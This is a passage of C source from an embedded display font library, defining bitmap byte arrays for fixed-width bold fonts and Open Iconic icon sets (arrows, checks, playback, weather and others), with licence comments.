\"\\60\\34\\14\\0\\0\\360\\362\\26\\24\\20\\20\\0\\0\\37\\37\\21\\21\\21\\20\\0\\0\\360\\360\\24\\26\\22\\20\\0\\0\\37\\37\\21\"\n  \"\\21\\21\\20\\0\\0\\360\\364\\26\\26\\24\\20\\0\\0\\37\\37\\21\\21\\21\\20\\0\\0\\366\\366\\20\\20\\26\\26\\0\\0\\37\\37\\21\"\n  \"\\21\\21\\20\\0\\0\\20\\22\\366\\364\\20\\20\\0\\0\\20\\20\\37\\37\\20\\20\\0\\0\\20\\20\\364\\366\\22\\20\\0\\0\\20\\20\\37\"\n  \"\\37\\20\\20\\0\\0\\20\\24\\366\\366\\24\\20\\0\\0\\20\\20\\37\\37\\20\\20\\0\\0\\26\\26\\360\\360\\26\\26\\0\\0\\20\\20\\37\"\n  \"\\37\\20\\20\\0\\0\\200\\370\\370\\210\\230\\360\\340\\0\\0\\37\\37\\20\\30\\17\\7\\0\\364\\362\\346\\4\\362\\360\\0\\0\\37\\37\\0\"\n  \"\\7\\37\\37\\0\\0\\340\\362\\26\\24\\360\\340\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\340\\360\\24\\26\\362\\340\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\340\\364\\26\\26\\364\\340\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\344\\362\\26\\24\\362\\340\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\346\\366\\20\\20\\366\\346\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0@\\300\\200\\0\\200\\300@\\0\\30\\14\\7\"\n  \"\\3\\7\\14\\30\\0\\360\\370\\10\\370\\370\\366\\0\\0o\\37\\37\\20\\37\\17\\0\\0\\360\\362\\6\\4\\360\\360\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\360\\360\\4\\6\\362\\360\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\360\\364\\6\\6\\364\\360\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\366\\366\\0\\0\\366\\366\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0p\\360\\204\\206\\362p\\0\\0\\0\\3\\37\"\n  \"\\37\\3\\0\\0\\0\\370\\370  \\340\\300\\0\\0\\37\\37\\4\\4\\7\\3\\0\\0\\0\\360\\370\\210\\370p\\0\\0\\20\\37\\37\"\n  \"\\20\\37\\17\\0\\0\\200\\310XP\\300\\200\\0\\0\\14\\36\\23\\21\\37\\37\\0\\0\\200\\300PX\\310\\200\\0\\0\\14\\36\\23\"\n  \"\\21\\37\\37\\0\\0\\200\\320XX\\320\\200\\0\\0\\14\\36\\23\\21\\37\\37\\0\\0\\220\\310XP\\310\\200\\0\\0\\14\\36\\23\"\n  \"\\21\\37\\37\\0\\0\\230\\330@@\\330\\230\\0\\0\\14\\36\\23\\21\\37\\37\\0\\0\\200\\310TT\\310\\200\\0\\0\\14\\36\\23\"\n  \"\\21\\37\\37\\0\\0\\200\\300@\\300\\300@\\200\\0\\14\\36\\21\\37\\37\\32\\13\\0\\200\\300@@\\300\\200\\0\\0\\17_p\"\n  \"\\60\\30\\10\\0\\0\\200\\310XP\\300\\200\\0\\0\\17\\37\\22\\22\\33\\13\\0\\0\\200\\300PX\\310\\200\\0\\0\\17\\37\\22\"\n  \"\\22\\33\\13\\0\\0\\200\\320XX\\320\\200\\0\\0\\17\\37\\22\\22\\33\\13\\0\\0\\230\\330@@\\330\\230\\0\\0\\17\\37\\22\"\n  \"\\22\\33\\13\\0\\0\\0\\0\\10\\330\\320\\0\\0\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\0\\320\\330\\10\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0\\0\\20\\330\\330\\20\\0\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\30\\30\\300\\300\\30\\30\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0\\64\\234\\230\\274\\344\\300\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\320\\310XP\\310\\200\\0\\0\\37\\37\\0\"\n  \"\\0\\37\\37\\0\\0\\200\\310XP\\300\\200\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\200\\300PX\\310\\200\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\200\\320XX\\320\\200\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\220\\310XP\\310\\200\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\230\\330@@\\330\\230\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\0\\0``\\0\\0\\0\\0\\3\\3\\33\"\n  \"\\33\\3\\3\\0\\0\\200\\300@\\300\\340\\220\\0\\0o\\37\\26\\21\\37\\17\\0\\0\\300\\310\\30\\20\\300\\300\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\37\\0\\0\\300\\300\\20\\30\\310\\300\\0\\0\\17\\37\\20\\20\\37\\37\\0\\0\\300\\320\\30\\30\\320\\300\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\37\\0\\0\\330\\330\\0\\0\\330\\330\\0\\0\\17\\37\\20\\20\\37\\37\\0\\0\\300\\300\\20\\30\\310\\300\\0\\0!c~\"\n  \">\\17\\1\\0\\0\\370\\370@@\\300\\200\\0\\0\\177\\177\\20\\20\\37\\17\\0\\0\\330\\330\\0\\0\\330\\330\\0\\0!c~\"\n  \">\\17\\1\";\n/*\n  Fontname: -Misc-Fixed-Bold-R-Normal--14-130-75-75-C-70-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 95/1009\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_7x14B_1x2_r[1524] U8X8_FONT_SECTION(\"u8x8_font_7x14B_1x2_r\") = \n  \" ~\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\0\\0\\0\\0\\0\\0\\33\"\n  \"\\33\\0\\0\\0\\0\\0<<\\0<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\370\\370\\370\\370@\\0\\0\\2\\37\\37\"\n  \"\\37\\37\\2\\0\\0`\\220\\370\\370\\20`\\0\\0\\14\\20\\77\\77\\21\\16\\0\\0\\60xH\\360\\70\\30\\0\\0\\30\\34\\17\"\n  \"\\22\\36\\14\\0\\0\\0p\\370\\210\\370p\\0\\0\\16\\37\\21\\16\\37\\23\\0\\0\\0\\0<<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\70\\14\\4\\0\\0\\0\\7\\37\\70`@\\0\\0\\0\\4\\14\\70\\360\\300\\0\\0\\0@`\"\n  \"\\70\\37\\7\\0\\0\\30\\240\\370\\370\\240\\30\\0\\0\\3\\0\\3\\3\\0\\3\\0\\0\\0\\0\\340\\340\\0\\0\\0\\0\\1\\1\\17\"\n  \"\\17\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0Hx\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\0\\0\\0\\0\\0\\0\\200\\340|\\34\\0\\0p|\\17\"\n  \"\\3\\0\\0\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0 \\60\\370\\370\\0\\0\\0\\0\\20\\20\\37\"\n  \"\\37\\20\\20\\0\\0\\60\\70\\10\\210\\370p\\0\\0\\30\\34\\26\\23\\21\\20\\0\\0\\60\\70\\210\\210\\370p\\0\\0\\14\\34\\20\"\n  \"\\20\\37\\17\\0\\0\\0\\200\\300\\360\\370\\0\\0\\0\\7\\7\\4\\37\\37\\4\\0\\0\\370\\370HH\\310\\210\\0\\0\\14\\34\\20\"\n  \"\\20\\37\\17\\0\\0\\340\\360\\230\\210\\270\\60\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\70\\70\\210\\350x\\30\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0p\\370\\210\\210\\370p\\0\\0\\16\\37\\21\\21\\37\\16\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\14\\35\\21\"\n  \"\\31\\17\\7\\0\\0\\0\\0``\\0\\0\\0\\0\\0\\0\\14\\14\\0\\0\\0\\0\\0\\0\\0``\\0\\0\\0\\0\\0$\"\n  \"<\\34\\0\\0\\0\\0\\200\\300`\\60\\20\\0\\0\\1\\3\\6\\14\\30\\20\\0\\0\\200\\200\\200\\200\\200\\200\\0\\0\\4\\4\\4\"\n  \"\\4\\4\\4\\0\\0\\20\\60`\\300\\200\\0\\0\\0\\20\\30\\14\\6\\3\\1\\0\\0\\60\\70\\210\\310x\\60\\0\\0\\0\\0\\33\"\n  \"\\33\\0\\0\\0\\0\\340\\360\\330\\350\\70\\360\\0\\0\\7\\17\\33\\27\\24\\27\\0\\0\\360\\370\\30\\30\\370\\360\\0\\0\\37\\37\\2\"\n  \"\\2\\37\\37\\0\\0\\370\\370\\210\\210\\370\\60\\0\\0\\37\\37\\20\\20\\37\\17\\0\\0\\360\\370\\10\\10\\70\\60\\0\\0\\17\\37\\20\"\n  \"\\20\\34\\14\\0\\0\\370\\370\\10\\30\\360\\340\\0\\0\\37\\37\\20\\30\\17\\7\\0\\0\\370\\370\\210\\210\\210\\10\\0\\0\\37\\37\\20\"\n  \"\\20\\20\\20\\0\\0\\370\\370\\210\\210\\210\\10\\0\\0\\37\\37\\0\\0\\0\\0\\0\\0\\360\\370\\10\\10\\70\\60\\0\\0\\17\\37\\20\"\n  \"\\21\\37\\17\\0\\0\\370\\370\\200\\200\\370\\370\\0\\0\\37\\37\\0\\0\\37\\37\\0\\0\\10\\10\\370\\370\\10\\10\\0\\0\\20\\20\\37\"\n  \"\\37\\20\\20\\0\\0\\0\\0\\0\\0\\370\\370\\0\\0\\14\\34\\20\\30\\17\\7\\0\\0\\370\\370\\340\\60\\30\\10\\0\\0\\37\\37\\3\"\n  \"\\7\\34\\30\\0\\0\\370\\370\\0\\0\\0\\0\\0\\0\\37\\37\\20\\20\\20\\20\\0\\0\\370\\360\\300\\300\\360\\370\\0\\0\\37\\37\\0\"\n  \"\\0\\37\\37\\0\\0\\370\\370\\340\\0\\370\\370\\0\\0\\37\\37\\0\\7\\37\\37\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\370\\370\\10\\10\\370\\360\\0\\0\\37\\37\\1\\1\\1\\0\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\17\\37\\22\"\n  \"\\24\\77o\\0\\0\\370\\370\\210\\210\\370p\\0\\0\\37\\37\\0\\1\\37\\36\\0\\0\\60x\\310\\210\\70\\60\\0\\0\\14\\34\\21\"\n  \"\\23\\36\\14\\0\\0\\10\\10\\370\\370\\10\\10\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\370\\370\\0\\0\\370\\370\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\370\\370\\0\\0\\370\\370\\0\\0\\3\\17\\34\\34\\17\\3\\0\\0\\370\\370\\0\\0\\370\\370\\0\\0\\17\\37\\17\"\n  \"\\17\\37\\17\\0\\0\\30x\\340\\340x\\30\\0\\0\\30\\36\\7\\7\\36\\30\\0\\0\\70\\370\\300\\300\\370\\70\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0\\10\\10\\210\\350x\\30\\0\\0\\30\\36\\27\\21\\20\\20\\0\\0\\0\\374\\374\\4\\4\\4\\0\\0\\0\\177\\177\"\n  \"@@@\\0\\0\\34|\\340\\200\\0\\0\\0\\0\\0\\0\\3\\17|p\\0\\0\\0\\4\\4\\4\\374\\374\\0\\0\\0@@\"\n  \"@\\177\\177\\0\\0\\10\\14\\6\\6\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0```\"\n  \"```\\0\\0\\0\\4\\14\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@@\\300\\200\\0\\0\\14\\36\\22\"\n  \"\\21\\37\\37\\0\\0\\370\\370@@\\300\\200\\0\\0\\37\\37\\20\\20\\37\\17\\0\\0\\200\\300@@\\300\\200\\0\\0\\17\\37\\20\"\n  \"\\20\\30\\10\\0\\0\\200\\300@@\\370\\370\\0\\0\\17\\37\\20\\20\\37\\37\\0\\0\\200\\300@@\\300\\200\\0\\0\\17\\37\\22\"\n  \"\\22\\33\\13\\0\\0\\200\\200\\360\\370\\230\\220\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\200\\300@\\300\\200\\300\\0\\0\\63\\177T\"\n  \"Ws \\0\\0\\370\\370@@\\300\\200\\0\\0\\37\\37\\0\\0\\37\\37\\0\\0\\0\\0\\330\\330\\0\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\330\\330\\0\\0\\0 `@\\177\\77\\0\\0\\370\\370\\0\\200\\300\\0\\0\\0\\37\\37\\3\"\n  \"\\7\\14\\30\\0\\0\\0\\0\\370\\370\\0\\0\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\300\\300\\200\\300\\300\\200\\0\\0\\37\\37\\17\"\n  \"\\17\\37\\37\\0\\0\\300\\300@@\\300\\200\\0\\0\\37\\37\\0\\0\\37\\37\\0\\0\\200\\300@@\\300\\200\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\17\\0\\0\\300\\300@@\\300\\200\\0\\0\\177\\177\\20\\20\\37\\17\\0\\0\\200\\300@@\\300\\300\\0\\0\\17\\37\\20\"\n  \"\\20\\177\\177\\0\\0\\300\\300@@\\300\\200\\0\\0\\37\\37\\0\\0\\1\\1\\0\\0\\200\\300@@\\300\\200\\0\\0\\10\\31\\23\"\n  \"\\26\\34\\10\\0\\0@@\\370\\370@@\\0\\0\\0\\0\\17\\37\\20\\20\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0\\17\\37\\20\"\n  \"\\20\\37\\37\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0\\1\\7\\36\\36\\7\\1\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0\\17\\37\\17\"\n  \"\\17\\37\\17\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0\\30\\35\\7\\7\\35\\30\\0\\0\\300\\300\\0\\0\\300\\300\\0\\0 cO\"\n  \"|\\77\\3\\0\\0@@@@\\300\\300\\0\\0\\30\\34\\26\\23\\21\\20\\0\\0\\0\\0\\370\\374\\4\\4\\0\\0\\0\\1\\77\"\n  \"~@@\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\177\\177\\0\\0\\0\\0\\0\\4\\4\\374\\370\\0\\0\\0\\0@@\"\n  \"~\\77\\1\\0\\0\\70\\14\\30\\30\\60\\34\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Bold-R-Normal--14-130-75-75-C-70-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 18/1009\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_7x14B_1x2_n[436] U8X8_FONT_SECTION(\"u8x8_font_7x14B_1x2_n\") = \n  \" :\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30\\240\\370\\370\\240\\30\\0\\0\\3\\0\\3\\3\\0\\3\\0\\0\\0\\0\\340\\340\\0\\0\\0\\0\\1\\1\\17\"\n  \"\\17\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0Hx\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\0\\0\\0\\0\\0\\0\\200\\340|\\34\\0\\0p|\\17\"\n  \"\\3\\0\\0\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0 \\60\\370\\370\\0\\0\\0\\0\\20\\20\\37\"\n  \"\\37\\20\\20\\0\\0\\60\\70\\10\\210\\370p\\0\\0\\30\\34\\26\\23\\21\\20\\0\\0\\60\\70\\210\\210\\370p\\0\\0\\14\\34\\20\"\n  \"\\20\\37\\17\\0\\0\\0\\200\\300\\360\\370\\0\\0\\0\\7\\7\\4\\37\\37\\4\\0\\0\\370\\370HH\\310\\210\\0\\0\\14\\34\\20\"\n  \"\\20\\37\\17\\0\\0\\340\\360\\230\\210\\270\\60\\0\\0\\17\\37\\20\\20\\37\\17\\0\\0\\70\\70\\210\\350x\\30\\0\\0\\0\\0\\37\"\n  \"\\37\\0\\0\\0\\0p\\370\\210\\210\\370p\\0\\0\\16\\37\\21\\21\\37\\16\\0\\0\\360\\370\\10\\10\\370\\360\\0\\0\\14\\35\\21\"\n  \"\\31\\17\\7\\0\\0\\0\\0``\\0\\0\\0\\0\\0\\0\\14\\14\\0\\0\";\n/*\n  Fontname: open_iconic_arrow_1x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 28/28\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_arrow_1x1[229] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_arrow_1x1\") = \n  \"@[\\1\\1\\0 `\\377` \\0\\0\\10\\34>\\10\\10\\10\\10\\10\\10\\10\\10\\10\\10>\\34\\10\\0\\4\\6\\377\"\n  \"\\6\\4\\0\\0<n\\317\\201\\201\\317n<<f\\303\\201\\347\\347f<<f\\347\\347\\201\\303f<<v\\363\\201\"\n  \"\\201\\363v<\\0\\0 \\177\\377 \\0\\0\\20\\30<\\30\\30\\30\\30\\30\\30\\30\\30\\30\\30<\\34\\10\\0\\0\\6\\377\"\n  \"\\376\\4\\0\\0\\0\\4\\14\\34\\34\\14\\4\\0\\0\\0\\0\\30<~\\0\\0\\0\\0~<\\30\\0\\0\\0\\0 \\60\\70\"\n  \"\\70\\60 \\0\\4\\16\\34\\70\\70\\34\\16\\4\\0\\0\\30<fB\\0\\0\\0B\\347~<\\30\\0\\0\\0\\60\\30\\14\"\n  \"\\14\\30\\60\\0\\200\\200\\210\\237\\237\\210\\200\\200\\1\\1\\21\\371\\371\\21\\1\\1&r\\42\\42\\42\\42'\\62\\20<\\26\\2\"\n  \"@h<\\10\\20\\373\\221\\201\\201\\211\\337\\10Bf<\\30$B\\347B\\60\\30\\14\\14\\14\\37\\16\\4\\177AAD\"\n  \"Ff\\6\\2\";\n/*\n  Fontname: open_iconic_check_1x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 5/5\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_check_1x1[45] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_check_1x1\") = \n  \"@D\\1\\1\\20\\70pp\\70\\34\\16\\4<~\\357\\357\\347\\363~<<~\\333\\347\\347\\333~<\\177AAI\"\n  \"IDr\\0B\\347~<<~\\347B\";\n/*\n  Fontname: open_iconic_embedded_1x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 17/17\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_embedded_1x1[140] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_embedded_1x1\") = \n  \"@P\\1\\1~BBBBB~\\30 \\60>\\277\\277>\\60 \\30~~\\347\\347~~\\30\\0\\0dg\"\n  \"=\\4\\0\\0\\0|~\\37\\37~|\\0\\300\\340p\\70\\30\\0\\2\\0\\20\\60<\\16\\70\\30\\20\\20\\300\\370\\376\\247\"\n  \"\\376\\360\\300\\0\\300\\340p>\\37\\30\\30\\10~~~~~~~\\30\\0$<\\333Z$\\0\\0<~\\377\\377\"\n  \"\\201\\201B<\\357\\357\\357\\357\\357\\257\\357\\0\\0\\12*\\277\\65\\24\\0\\0\\70D\\200\\217\\200D\\70\\0<B\\201\\201\"\n  \"\\201\\205\\6\\6\\2\\1\\11\\311\\311\\1\\2\";\n/*\n  Fontname: open_iconic_play_1x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 18/18\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_play_1x1[148] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_play_1x1\") = \n  \"@Q\\1\\1\\30\\0~\\0\\377\\0<\\0\\14\\34|\\36\\36\\0\\77\\0\\320\\330\\334\\336\\336\\334\\330\\320p~\\3\\1\"\n  \"\\1\\3~p\\0~~\\0\\0~~\\0\\0~<<\\30\\30\\0\\0\\0<~~~~<\\0\\0\\30<~\"\n  \"\\0\\30<~~<\\30\\0~<\\30\\0~~\\0\\30\\30<~\\0~<\\30\\30\\0~~\\0\\0~~~\"\n  \"~~~\\0\\0\\34\\260\\257\\357\\260\\34\\0\\340\\340\\376\\3\\3ss\\177<~\\377\\303\\347\\377~<<<~\\377\"\n  \"\\0Zf<\\0<<~\\377\\0\\30\\0\\0\\0<<~\\377\\0\";\n/*\n  Fontname: open_iconic_thing_1x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 19/19\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_thing_1x1[156] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_thing_1x1\") = \n  \"@R\\1\\1\\10\\370\\234\\373\\373\\234\\370\\10\\334\\334\\337\\335\\335\\337\\334\\334zZzZzzzz\\300\\360\\370>\"\n  \"\\77\\31\\31\\16\\0\\360\\362\\361\\361\\376\\360\\0p\\310\\264\\242Q\\11\\6\\0\\374\\374\\77\\77\\374\\374\\60\\60\\200\\340\\360p\"\n  \"\\14\\16\\6\\1\\0x\\334\\276\\376\\374x\\0`~bBBb~`\\34\\42AAAb\\374\\300\\0\\377\\301\\301\"\n  \"\\301\\377\\0\\0\\0\\6\\6\\377\\14\\14\\0\\0T|~\\17~|T\\0p\\374\\77\\216\\340\\370\\360\\0\\0x~y\"\n  \"y~x\\0\\77\\241\\241\\341\\341\\241\\241\\77\\10\\11\\17\\177\\17\\11\\10\\0\\377\\301\\301\\301\\301\\301\\377\";\n/*\n  Fontname: open_iconic_weather_1x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 6/6\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_weather_1x1[52] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_weather_1x1\") = \n  \"@E\\1\\1\\60x|~~~|pf\\367\\373\\375\\374\\374\\370\\340<~~\\360\\340``\\0\\30\\334\\16\\357\"\n  \"\\17\\337\\36\\70\\0\\10x<<x\\10\\0\\0B\\30<<\\30B\";\n/*\n  Fontname: open_iconic_arrow_2x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 28/28\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_arrow_2x2[900] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_arrow_2x2\") = \n  \"@[\\2\\2\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34<\\177\\177<\\34\\14\\4\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\3\\7\\17\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\374\\370\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\0 \\60\\70<\\376\\376<\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\3\\3\\3\\3\\377\\376\\376\\374\\370\\340\\7\\37>|x\\360\\340\\300\\300\\340\\360x\"\n  \"|>\\37\\7\\340\\370|>\\36\\17\\7\\3\\77\\77\\77>><\\370\\340\\7\\37>|x\\360\\340\\300\\374\\374\\374|\"\n  \"|<\\37\\7\\340\\370<>>\\77\\77\\77\\3\\7\\17\\36>|\\370\\340\\7\\37<||\\374\\374\\374\\300\\340\\360x\"\n  \"|>\\37\\7\\340\\370|>\\36\\17\\7\\3\\3\\7\\17\\36>|\\370\\340\\7\\37\\77\\177\\177\\377\\300\\300\\300\\300\\377\\177\"\n  \"\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34\\77\\177\\377\\177<\\34\"\n  \"\\14\\0\\0\\0\\0\\200\\300\\340\\360\\370\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\1\\3\\7\\17\\37\\37\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\370\\370\\360\\340\\300\\200\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\60\\70<\\376\\377\\376\\374\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\60p\\360\\360\\360\\360\\360\\360\\360\\360p\\60\\20\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\77\\37\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\10\\14\\16\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\16\\14\\10\\0\\0\\60x\\370\\360\\340\\300\\200\\200\\300\\340\\360\\370x\\60\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370|>\\36\\14\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37>|x\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\14\\36>|\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\60x|>\\37\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\360\\340\\300\\200\\0\\0\\0\\0\\6\\17\\17\\7\\3\\1\\0\\0\\1\\3\\7\"\n  \"\\17\\17\\6\\0\\0\\0\\0@\\300\\300\\377\\377\\377\\377\\300\\300@\\0\\0\\0\\300\\300\\300\\300\\300\\301\\303\\307\\307\\303\\301\\300\"\n  \"\\300\\300\\300\\300\\3\\3\\3\\3\\3\\203\\303\\343\\343\\303\\203\\3\\3\\3\\3\\3\\0\\0\\0\\2\\3\\3\\377\\377\\377\\377\\3\\3\"\n  \"\\2\\0\\0\\0\\70<\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\77\\36\\14\\0\\0\\14\\36\\77\\14\\14\\14\\14\\14\\14\\14\\14\"\n  \"\\14\\14\\17\\7\\0\\0\\300\\360\\70\\30\\14\\14\\0\\0\\200\\300\\340\\340\\300\\200\\1\\3\\7\\7\\3\\1\\0\\0\\60\\60\\30\\34\"\n  \"\\17\\3\\0\\0\\0\\0\\317\\317\\3\\3\\3\\3\\3\\3C\\303\\377\\377\\300@\\2\\3\\377\\377\\303\\302\\300\\300\\300\\300\\300\\300\"\n  \"\\363\\363\\0\\0\\14\\14\\34\\70p\\340\\300\\340p\\70\\34\\14\\77\\36\\14\\0\\60\\60\\70\\34\\16\\7\\3\\3\\17\\34\\70\\60\"\n  \"\\374x\\60\\0\\0\\200\\300\\300\\340\\340\\360\\360\\360\\360\\377\\376\\374\\370p \\14\\7\\3\\1\\1\\0\\0\\0\\0\\0\\7\\3\"\n  